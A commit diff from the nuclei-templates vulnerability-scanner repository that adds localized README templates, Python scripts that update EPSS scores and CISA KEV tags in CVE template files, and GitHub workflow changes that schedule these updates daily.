missing kev CVEs

chore: update EPSS scores 🤖
chore: generate templates stats 🤖
2026-11-07 08:36:19 -10:00 · 2025-09-07 16:52:47 +08:00 · 2025-09-07 02:29:46 +00:00 · 2025-09-06 13:59:00 +00:00 · 2025-09-06 13:57:39 +00:00 · 2025-09-06 13:56:46 +00:00
4392 changed files with 496416 additions and 22195 deletions
@@ -0,0 +1,87 @@
+f"""
+
+<h1 align="center">
+Nuclei 模板
+</h1>
+<div align="center">
+<a href="README.md">English</a> |
+<a href="README_CN.md">简体中文</a> |
+<a href="README_JA.md">日本語</a> |
+<a href="README_KR.md">한국어</a>
+</div>
+<h4 align="center">这个仓库用于存放由社区精心挑选的模板,可以使用nuclei引擎结合模板发现应用中的漏洞。</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
+  <a href="#-贡献">贡献</a> •
+  <a href="#-交流">交流</a> •
+  <a href="#-社区">社区</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
+</p>
+
+----
+
+模板是 [nuclei 扫描器](https://github.com/projectdiscovery/nuclei) 的核心.
+这个git仓库储存了由PD团队以及社区贡献的各种扫描模板.
+我们希望您也能攻通过 **pull requests** 或者[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)来提交模板以扩大我们的仓库列表.
+
+
+## Nuclei模板项目情况概述
+
+
+以下是nuclei模板项目的情况概览,包括唯一标签,作者,目录,严重性,模板类型的相关统计情况.以下表格列出了前面提到的每项情况的TOP10信息;你也可以点击[这里](TEMPLATES-STATS.md)查看详细信息.当然你也可以点击[这里](TEMPLATES-STATS.json)获取JSON格式的详细情况统计
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 文档
+-----
+
+详细的文档请访问我们的网站[https://nuclei.projectdiscovery.io](https://nuclei.projectdiscovery.io),在我们网站的详细文档中,我们提供了如何创建模板的具体方法,并且也提供了相应的示例模板来帮助您更好地理解模板的开发以及运行原理.
+
+💪 贡献
+-----
+
+社区是Nuclei模板项目的主要贡献主力,我们非常欢迎开发者们来贡献模板,提出需求和报告Bug.
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 交流
+-----
+
+如果您有任何关于该项目的疑问或是新奇的点子,欢迎在[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)创建新的板块来进行讨论.
+
+👨‍💻 社区
+-----
+
+欢迎您加入我们的[Discord 社区](https://discord.gg/projectdiscovery)，与项目维护人员直接讨论，或与其他人分享有关安全和自动化的想法。
+此外，您还可以在 [Twitter](https://twitter.com/pdnuclei) 上关注我们，了解 Nuclei 的最新动态。
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+
+最后,感谢您对这个项目的贡献,这将让我们的社区更加充满活力.
+"""
@@ -0,0 +1,82 @@
+f"""<h1 align="center">
+Nuclei テンプレート
+</h1>
+<h4 align="center">アプリケーションのセキュリティ脆弱性を発見するためのNucleiエンジン用テンプレートのコミュニティキュレーションリスト</h4>
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
+  <a href="#-contributions">貢献</a> •
+  <a href="#-discussion">ディスカッション</a> •
+  <a href="#-community">コミュニティ</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
+</p>
+
+<p align="center">
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_JP.md">日本語</a>
+</p>
+
+----
+
+テンプレートは、実際のスキャンエンジンを動作させる[nucleiスキャナー](https://github.com/projectdiscovery/nuclei)のコアです。
+このリポジトリは、私たちのチームが提供するテンプレートや、コミュニティからの貢献によるさまざまなテンプレートを保存・管理します。
+テンプレートのリストを増やすために、**プルリクエスト**や[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)を通じて貢献していただけると幸いです。
+
+## Nuclei テンプレートの概要
+
+Nucleiテンプレートプロジェクトの概要であり、ユニークなタグ、著者、ディレクトリ、重大度、テンプレートの種類に関する統計を含みます。以下の表は、各マトリックスのトップ10の統計を示しています。拡張バージョンは[こちら](TEMPLATES-STATS.md)で確認でき、[JSON](TEMPLATES-STATS.json)形式でも利用可能です。
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 ドキュメント
+-----
+
+新しいテンプレートやカスタムテンプレートを作成するための詳細なドキュメントは、https://nuclei.projectdiscovery.io で確認できます。作業方法を理解するためのテンプレートも用意しています。
+
+💪 貢献
+-----
+
+Nucleiテンプレートはコミュニティの貢献によって動作します。
+[テンプレートの貢献](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)、[機能リクエスト](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+)、[バグ報告](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)はいつでも歓迎します。
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 ディスカッション
+-----
+
+質問、疑問、アイデアを話し合いたいですか？
+[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)で自由に始めることができます。
+
+👨‍💻 コミュニティ
+-----
+
+プロジェクトの管理者と直接話し合い、セキュリティや自動化に関することを他の人と共有するために、[Discord Community](https://discord.gg/projectdiscovery)に参加することを歓迎します。さらに、Nucleiに関するすべての情報を更新するために、[Twitter](https://twitter.com/pdnuclei)をフォローすることもできます。
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+皆さんの貢献とコミュニティの活性化への努力に感謝します。
+:heart:
+"""
@@ -0,0 +1,84 @@
+f"""
+
+<h1 align="center">
+Nuclei 템플릿
+</h1>
+<h4 align="center">커뮤니티에서 엄선한, 애플리케이션 보안 취약점을 찾기 위한 Nuclei 엔진용 템플릿 목록</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
+  <a href="#-contributions">기여</a> •
+  <a href="#-discussion">논의</a> •
+  <a href="#-community">커뮤니티</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">디스코드</a>
+</p>
+
+<p align="center">
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a>
+</p>
+
+----
+
+템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
+이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
+템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
+
+## Nuclei 템플릿 개요
+
+고유 태그, 작성자, 디렉토리, 심각도, 템플릿 종류에 대한 통계를 포함하고 있는 nuclei 템플릿의 개요입니다. 아래 표는 각 지표의 상위 10개 항목을 나타내고 있습니다. 더 자세한 정보는 [이곳](TEMPLATES-STATS.md)에서 확인 가능하고, [JSON](TEMPLATES-STATS.json) 형식으로도 확인 가능합니다. 
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 문서
+-----
+
+새 템플릿이나 사용자 정의 템플릿을 빌드하기 위한 자세한 문서는 https://nuclei.projectdiscovery.io 에서 확인할 수 있습니다. 작업 방식의 이해를 돕기 위한 템플릿들도 있습니다.
+
+💪 기여
+-----
+
+Nuclei 템플릿은 커뮤니티의 기여로 동작합니다.
+[템플릿 기여](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [기능 요청](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+), [버그 제보](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)는 언제든지 환영합니다.
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 논의
+-----
+
+같이 이야기하고 싶은 질문, 의문 혹은 아이디어가 있으신가요?
+[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) 에서 자유롭게 시작할 수 있습니다.
+
+👨‍💻 커뮤니티
+-----
+
+프로젝트 관리자와 직접 논의하고 보안과 자동화 관련 사항을 다른 사람과 공유하기 위해 [Discord Community](https://discord.gg/projectdiscovery) 에 참여하는 것을 환영합니다. 추가로 Nuclei 에 대한 모든 정보를 업데이트 하기 위해 [트위터](https://twitter.com/pdnuclei) 팔로우를 할 수 있습니다.
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+여러분의 기여와 커뮤니티의 활성화를 위한 노력에 다시한번 감사드립니다.
+:heart:
+"""
@@ -0,0 +1,256 @@
+#!/usr/bin/env python3
+"""
+EPSS Score Updater for Nuclei Templates
+
+This script updates EPSS scores for all CVE templates by:
+1. Scanning all CVE YAML files
+2. Extracting CVE IDs
+3. Fetching latest EPSS scores from the FIRST API
+4. Updating the templates with new scores
+"""
+
+import os
+import re
+import sys
+import time
+import yaml
+import requests
+from pathlib import Path
+from typing import Dict, List, Tuple, Optional
+
+# Configuration
+EPSS_API_URL = "https://api.first.org/data/v1/epss"
+BATCH_SIZE = 50  # API limit for batch requests
+RATE_LIMIT_DELAY = 1  # seconds between API calls
+MAX_RETRIES = 3
+TIMEOUT = 30
+
+class EPSSUpdater:
+    def __init__(self, root_dir: str):
+        self.root_dir = Path(root_dir)
+        self.updated_count = 0
+        self.error_count = 0
+        
+    def find_cve_templates(self) -> List[Path]:
+        """Find all CVE template files."""
+        cve_files = []
+        
+        # Search for CVE templates in common directories
+        patterns = [
+            "**/cves/**/*.yaml",
+            "**/cve-*.yaml"
+        ]
+        
+        for pattern in patterns:
+            cve_files.extend(self.root_dir.glob(pattern))
+        
+        # Filter duplicates and sort
+        return sorted(list(set(cve_files)))
+    
+    def extract_cve_id(self, file_path: Path) -> Optional[str]:
+        """Extract CVE ID from filename or template content."""
+        # First try filename
+        filename = file_path.stem
+        cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
+        if cve_match:
+            return cve_match.group().upper()
+        
+        # If not found in filename, try content
+        try:
+            with open(file_path, 'r', encoding='utf-8') as f:
+                content = f.read()
+                cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
+                if cve_match:
+                    return cve_match.group(1).upper()
+        except Exception as e:
+            print(f"Error reading {file_path}: {e}")
+            
+        return None
+    
+    def fetch_epss_scores(self, cve_ids: List[str]) -> Dict[str, Dict[str, str]]:
+        """Fetch EPSS scores from API for multiple CVEs."""
+        epss_data = {}
+        
+        # Process in batches
+        for i in range(0, len(cve_ids), BATCH_SIZE):
+            batch = cve_ids[i:i+BATCH_SIZE]
+            cve_param = ','.join(batch)
+            
+            for attempt in range(MAX_RETRIES):
+                try:
+                    print(f"Fetching EPSS data for batch {i//BATCH_SIZE + 1} ({len(batch)} CVEs)...")
+                    
+                    response = requests.get(
+                        EPSS_API_URL,
+                        params={'cve': cve_param},
+                        timeout=TIMEOUT
+                    )
+                    response.raise_for_status()
+                    
+                    data = response.json()
+                    
+                    if data.get('status') == 'OK' and 'data' in data:
+                        for item in data['data']:
+                            cve_id = item['cve'].upper()
+                            epss_data[cve_id] = {
+                                'epss': item['epss'],
+                                'percentile': item['percentile']
+                            }
+                    
+                    break  # Success, exit retry loop
+                    
+                except requests.RequestException as e:
+                    print(f"API request failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
+                    if attempt == MAX_RETRIES - 1:
+                        print(f"Failed to fetch EPSS data for batch: {batch}")
+                    else:
+                        time.sleep(RATE_LIMIT_DELAY * (attempt + 1))
+                
+                except Exception as e:
+                    print(f"Unexpected error: {e}")
+                    break
+            
+            # Rate limiting between batches
+            if i + BATCH_SIZE < len(cve_ids):
+                time.sleep(RATE_LIMIT_DELAY)
+        
+        return epss_data
+    
+    def update_template(self, file_path: Path, cve_id: str, epss_data: Dict[str, str]) -> bool:
+        """Update a template file with new EPSS scores."""
+        try:
+            with open(file_path, 'r', encoding='utf-8') as f:
+                content = f.read()
+            
+            # Parse YAML to get structure
+            try:
+                template_data = yaml.safe_load(content)
+            except yaml.YAMLError as e:
+                print(f"YAML parsing error in {file_path}: {e}")
+                return False
+            
+            if not template_data or 'info' not in template_data:
+                print(f"Invalid template structure in {file_path}")
+                return False
+            
+            # Ensure classification section exists
+            if 'classification' not in template_data['info']:
+                template_data['info']['classification'] = {}
+            
+            classification = template_data['info']['classification']
+            
+            # Convert EPSS values to float for comparison
+            new_epss = float(epss_data['epss'])
+            new_percentile = float(epss_data['percentile'])
+            
+            current_epss = classification.get('epss-score', 0)
+            current_percentile = classification.get('epss-percentile', 0)
+            
+            # Check if update is needed
+            if (abs(new_epss - float(current_epss)) < 0.00001 and 
+                abs(new_percentile - float(current_percentile)) < 0.00001):
+                return False  # No significant change
+            
+            # Update scores using string replacement to preserve formatting
+            epss_score_str = f"{new_epss:.5f}".rstrip('0').rstrip('.')
+            percentile_str = f"{new_percentile:.5f}".rstrip('0').rstrip('.')
+            
+            # Update epss-score
+            if 'epss-score:' in content:
+                content = re.sub(
+                    r'(\s+epss-score:\s*)[0-9.]+',
+                    fr'\g<1>{epss_score_str}',
+                    content
+                )
+            else:
+                # Add after cve-id if exists
+                if 'cve-id:' in content:
+                    content = re.sub(
+                        r'(\s+cve-id:\s*CVE-\d{4}-\d+\s*\n)',
+                        fr'\g<1>    epss-score: {epss_score_str}\n',
+                        content
+                    )
+            
+            # Update epss-percentile
+            if 'epss-percentile:' in content:
+                content = re.sub(
+                    r'(\s+epss-percentile:\s*)[0-9.]+',
+                    fr'\g<1>{percentile_str}',
+                    content
+                )
+            else:
+                # Add after epss-score
+                content = re.sub(
+                    r'(\s+epss-score:\s*[0-9.]+\s*\n)',
+                    fr'\g<1>    epss-percentile: {percentile_str}\n',
+                    content
+                )
+            
+            # Write updated content
+            with open(file_path, 'w', encoding='utf-8') as f:
+                f.write(content)
+            
+            print(f"Updated {file_path.name}: EPSS={epss_score_str}, Percentile={percentile_str}")
+            return True
+            
+        except Exception as e:
+            print(f"Error updating {file_path}: {e}")
+            return False
+    
+    def run(self):
+        """Main execution function."""
+        print("Starting EPSS score update...")
+        
+        # Find all CVE templates
+        template_files = self.find_cve_templates()
+        print(f"Found {len(template_files)} CVE template files")
+        
+        if not template_files:
+            print("No CVE templates found!")
+            return
+        
+        # Extract CVE IDs and map to files
+        cve_to_files = {}
+        for file_path in template_files:
+            cve_id = self.extract_cve_id(file_path)
+            if cve_id:
+                if cve_id not in cve_to_files:
+                    cve_to_files[cve_id] = []
+                cve_to_files[cve_id].append(file_path)
+            else:
+                print(f"Could not extract CVE ID from {file_path}")
+        
+        print(f"Found {len(cve_to_files)} unique CVE IDs")
+        
+        # Fetch EPSS scores
+        all_cve_ids = list(cve_to_files.keys())
+        epss_data = self.fetch_epss_scores(all_cve_ids)
+        
+        print(f"Retrieved EPSS data for {len(epss_data)} CVEs")
+        
+        # Update templates
+        for cve_id, files in cve_to_files.items():
+            if cve_id in epss_data:
+                for file_path in files:
+                    if self.update_template(file_path, cve_id, epss_data[cve_id]):
+                        self.updated_count += 1
+            else:
+                print(f"No EPSS data found for {cve_id}")
+                self.error_count += 1
+        
+        print(f"\nUpdate complete!")
+        print(f"Templates updated: {self.updated_count}")
+        print(f"Errors: {self.error_count}")
+
+def main():
+    """Main entry point."""
+    if len(sys.argv) > 1:
+        root_dir = sys.argv[1]
+    else:
+        root_dir = os.getcwd()
+    
+    updater = EPSSUpdater(root_dir)
+    updater.run()
+
+if __name__ == "__main__":
+    main()
@@ -0,0 +1,258 @@
+#!/usr/bin/env python3
+"""
+KEV Tagging Updater for Nuclei Templates
+
+This script updates KEV (Known Exploited Vulnerabilities) tags for all CVE templates by:
+1. Fetching the latest CISA KEV catalog
+2. Checking each CVE template against the KEV list
+3. Adding 'kev' tag to the tags field for KEV CVEs
+"""
+
+import os
+import re
+import sys
+import time
+import json
+import requests
+from pathlib import Path
+from typing import Set, Optional
+
+# Configuration
+CISA_KEV_JSON_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
+TIMEOUT = 30
+MAX_RETRIES = 3
+
+class KEVUpdater:
+    def __init__(self, root_dir: str):
+        self.root_dir = Path(root_dir)
+        self.updated_count = 0
+        self.error_count = 0
+        self.cisa_kev_cves = set()
+        
+    def find_cve_templates(self) -> list[Path]:
+        """Find all CVE template files."""
+        cve_files = []
+        
+        # Search for CVE templates in common directories
+        patterns = [
+            "**/cves/**/*.yaml",
+            "**/cve-*.yaml"
+        ]
+        
+        for pattern in patterns:
+            cve_files.extend(self.root_dir.glob(pattern))
+        
+        return sorted(list(set(cve_files)))
+    
+    def extract_cve_id(self, file_path: Path) -> Optional[str]:
+        """Extract CVE ID from filename or template content."""
+        # First try filename
+        filename = file_path.stem
+        cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
+        if cve_match:
+            return cve_match.group().upper()
+        
+        # If not found in filename, try content
+        try:
+            with open(file_path, 'r', encoding='utf-8') as f:
+                content = f.read()
+                cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
+                if cve_match:
+                    return cve_match.group(1).upper()
+        except Exception as e:
+            print(f"Error reading {file_path}: {e}")
+            
+        return None
+    
+    def fetch_cisa_kev_data(self) -> Set[str]:
+        """Fetch CISA KEV catalog and return set of CVE IDs."""
+        kev_cves = set()
+        
+        for attempt in range(MAX_RETRIES):
+            try:
+                print("Fetching CISA KEV catalog...")
+                response = requests.get(CISA_KEV_JSON_URL, timeout=TIMEOUT)
+                response.raise_for_status()
+                
+                data = response.json()
+                
+                if 'vulnerabilities' in data:
+                    for vuln in data['vulnerabilities']:
+                        if 'cveID' in vuln:
+                            kev_cves.add(vuln['cveID'].upper())
+                    
+                    print(f"Retrieved {len(kev_cves)} CVEs from CISA KEV catalog")
+                    break
+                else:
+                    print("Invalid CISA KEV data format")
+                    
+            except requests.RequestException as e:
+                print(f"CISA KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
+                if attempt == MAX_RETRIES - 1:
+                    print("Failed to fetch CISA KEV data")
+                else:
+                    time.sleep(2 * (attempt + 1))
+            
+            except Exception as e:
+                print(f"Unexpected error fetching CISA KEV: {e}")
+                break
+        
+        return kev_cves
+    
+    def has_kev_tag(self, content: str) -> bool:
+        """Check if template already has KEV tag in tags field."""
+        # Look for tags field and check if kev is present
+        tags_match = re.search(r'tags:\s*([^\n]+)', content)
+        if tags_match:
+            tags_str = tags_match.group(1)
+            # Check for kev as a standalone tag (not part of another word)
+            if re.search(r'\bkev\b', tags_str, re.IGNORECASE):
+                return True
+        return False
+    
+    def add_kev_tag(self, content: str) -> tuple[str, bool]:
+        """Add kev tag to the tags field. Returns (updated_content, was_updated)."""
+        if self.has_kev_tag(content):
+            return content, False
+        
+        # Find the tags field
+        tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
+        if tags_match:
+            indent = tags_match.group(1)
+            existing_tags = tags_match.group(2).rstrip()
+            
+            # Add kev tag at the end
+            new_tags = existing_tags + ',kev'
+            new_line = f"{indent}{new_tags}"
+            
+            updated_content = content.replace(tags_match.group(0), new_line)
+            return updated_content, True
+        else:
+            print("Warning: No tags field found to add kev tag")
+            return content, False
+    
+    def remove_kev_tag(self, content: str) -> tuple[str, bool]:
+        """Remove kev tag from the tags field. Returns (updated_content, was_updated)."""
+        if not self.has_kev_tag(content):
+            return content, False
+        
+        # Find and update tags field
+        tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
+        if tags_match:
+            indent = tags_match.group(1)
+            existing_tags = tags_match.group(2)
+            
+            # Remove kev tag in various positions
+            new_tags = existing_tags
+            # Remove ,kev or kev, patterns
+            new_tags = re.sub(r',\s*kev\b', '', new_tags)
+            new_tags = re.sub(r'\bkev\s*,', '', new_tags) 
+            new_tags = re.sub(r'^\s*kev\s*$', '', new_tags)  # kev is only tag
+            new_tags = re.sub(r'^\s*kev\s*,\s*', '', new_tags)  # kev is first tag
+            
+            if new_tags != existing_tags:
+                new_line = f"{indent}{new_tags}"
+                updated_content = content.replace(tags_match.group(0), new_line)
+                return updated_content, True
+        
+        return content, False
+    
+    def update_template_with_kev(self, file_path: Path, cve_id: str, is_kev: bool) -> bool:
+        """Update a template file with KEV tags."""
+        try:
+            with open(file_path, 'r', encoding='utf-8') as f:
+                content = f.read()
+            
+            original_content = content
+            updated = False
+            
+            if is_kev:
+                # Add kev tag if missing
+                content, tag_added = self.add_kev_tag(content)
+                if tag_added:
+                    print(f"Added kev tag to {file_path.name}")
+                    updated = True
+            else:
+                # Remove kev tag if present but CVE is not in KEV catalog
+                if self.has_kev_tag(content):
+                    # Only remove if we're confident about our KEV data
+                    if len(self.cisa_kev_cves) > 1000:  # Sanity check
+                        content, tag_removed = self.remove_kev_tag(content)
+                        if tag_removed:
+                            print(f"Removed kev tag from {file_path.name} (no longer in KEV catalog)")
+                            updated = True
+                    else:
+                        print(f"Warning: {cve_id} has kev tag but not in current KEV catalog (keeping tag)")
+            
+            # Write updated content if changes were made
+            if updated:
+                with open(file_path, 'w', encoding='utf-8') as f:
+                    f.write(content)
+                return True
+            
+            return False
+            
+        except Exception as e:
+            print(f"Error updating {file_path}: {e}")
+            self.error_count += 1
+            return False
+    
+    def run(self):
+        """Main execution function."""
+        print("Starting KEV tagging update...")
+        
+        # Fetch KEV data
+        self.cisa_kev_cves = self.fetch_cisa_kev_data()
+        
+        if not self.cisa_kev_cves:
+            print("No CISA KEV data available, exiting")
+            return
+        
+        # Find all CVE templates
+        template_files = self.find_cve_templates()
+        print(f"Found {len(template_files)} CVE template files")
+        
+        if not template_files:
+            print("No CVE templates found!")
+            return
+        
+        # Process templates
+        kev_found = 0
+        non_kev_with_tag = 0
+        
+        for file_path in template_files:
+            cve_id = self.extract_cve_id(file_path)
+            if cve_id:
+                is_kev = cve_id in self.cisa_kev_cves
+                
+                if is_kev:
+                    kev_found += 1
+                
+                if self.update_template_with_kev(file_path, cve_id, is_kev):
+                    self.updated_count += 1
+                
+                # Track non-KEV CVEs that have kev tags for reporting
+                if not is_kev and self.has_kev_tag(open(file_path, 'r').read()):
+                    non_kev_with_tag += 1
+            else:
+                print(f"Could not extract CVE ID from {file_path}")
+        
+        print(f"\nKEV update complete!")
+        print(f"Templates updated: {self.updated_count}")
+        print(f"KEV CVEs found in templates: {kev_found}")
+        print(f"CISA KEV catalog size: {len(self.cisa_kev_cves)}")
+        print(f"Non-KEV templates with kev tags: {non_kev_with_tag}")
+        print(f"Errors: {self.error_count}")
+
+def main():
+    """Main entry point."""
+    if len(sys.argv) > 1:
+        root_dir = sys.argv[1]
+    else:
+        root_dir = os.getcwd()
+    
+    updater = KEVUpdater(root_dir)
+    updater.run()
+
+if __name__ == "__main__":
+    main()
@@ -18,6 +18,25 @@ if __name__ == "__main__":
 	template = eval(open(".github/scripts/README.tmpl", "r").read())

 	print(template)
+	
+	# Update main README.md
 	f = open("README.md", "w")
 	f.write(template)
 	f.close()
+	
+	# Update localized README files with their respective templates
+	localized_files = {
+		"README_CN.md": ".github/scripts/README_CN.tmpl",
+		"README_JA.md": ".github/scripts/README_JA.tmpl", 
+		"README_KR.md": ".github/scripts/README_KR.tmpl"
+	}
+	
+	for readme_file, template_file in localized_files.items():
+		try:
+			localized_template = eval(open(template_file, "r").read())
+			f = open(readme_file, "w")
+			f.write(localized_template)
+			f.close()
+		except FileNotFoundError:
+			print(f"Template {template_file} not found, skipping {readme_file}")
+			continue
@@ -1,9 +1,9 @@
 name: 🤖 issue/pr assignment
 on:
-  pull_request:
-    types: [opened]
-    branches: 
-      - main
+#  pull_request:
+#    types: [opened]
+#    branches: 
+#      - main
  issues:
    types: [opened]

@@ -15,12 +15,12 @@ jobs:
    permissions: write-all
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v4 # checkout the repository content
+      - uses: actions/checkout@v5 # checkout the repository content
      - uses: actions/setup-python@v5
        with:
          python-version: '3.10' # install the python version needed
      - run: pip install requests
-      - if: github.event_name == 'pull_request'
-        run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
+#      - if: github.event_name == 'pull_request'
+#        run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
      - if: github.event_name == 'issues'
        run: python .github/scripts/assign_tasks.py ${{ github.event.issue.number }} issue ${{ secrets.GITHUB_TOKEN }}
@@ -13,7 +13,7 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates'
    steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
      - uses: projectdiscovery/actions/setup/go@v1
        with:
          go-version: 'stable'
@@ -0,0 +1,53 @@
+name: 📊 EPSS Score Update
+
+on:
+  schedule:
+    # Run daily at 2:00 AM UTC
+    - cron: '0 2 * * *'
+  workflow_dispatch:
+
+jobs:
+  update-epss:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v5
+
+      - name: Setup Python
+        uses: actions/setup-python@v5
+        with:
+          python-version: '3.11'
+
+      - name: Install dependencies
+        run: |
+          pip install requests pyyaml
+
+      - name: Update EPSS scores
+        run: python .github/scripts/update-epss.py
+
+      - name: Check for changes
+        id: changes
+        run: |
+          if git diff --quiet; then
+            echo "changes=false" >> $GITHUB_OUTPUT
+          else
+            echo "changes=true" >> $GITHUB_OUTPUT
+          fi
+
+      - name: Setup Git
+        if: steps.changes.outputs.changes == 'true'
+        uses: projectdiscovery/actions/setup/git@v1
+
+      - name: Commit changes
+        if: steps.changes.outputs.changes == 'true'
+        uses: projectdiscovery/actions/commit@v1
+        with:
+          files: '**/cves/**/*.yaml'
+          message: 'chore: update EPSS scores 🤖'
+
+      - name: Push changes
+        if: steps.changes.outputs.changes == 'true'
+        run: |
+          git pull origin $GITHUB_REF --rebase
+          git push origin $GITHUB_REF
@@ -0,0 +1,56 @@
+name: 📋 KEV Tag Update
+
+on:
+  schedule:
+    # Run daily at 3:00 AM UTC (1 hour after EPSS update)
+    - cron: '0 3 * * *'
+  workflow_dispatch:
+
+jobs:
+  update-kev:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v5
+
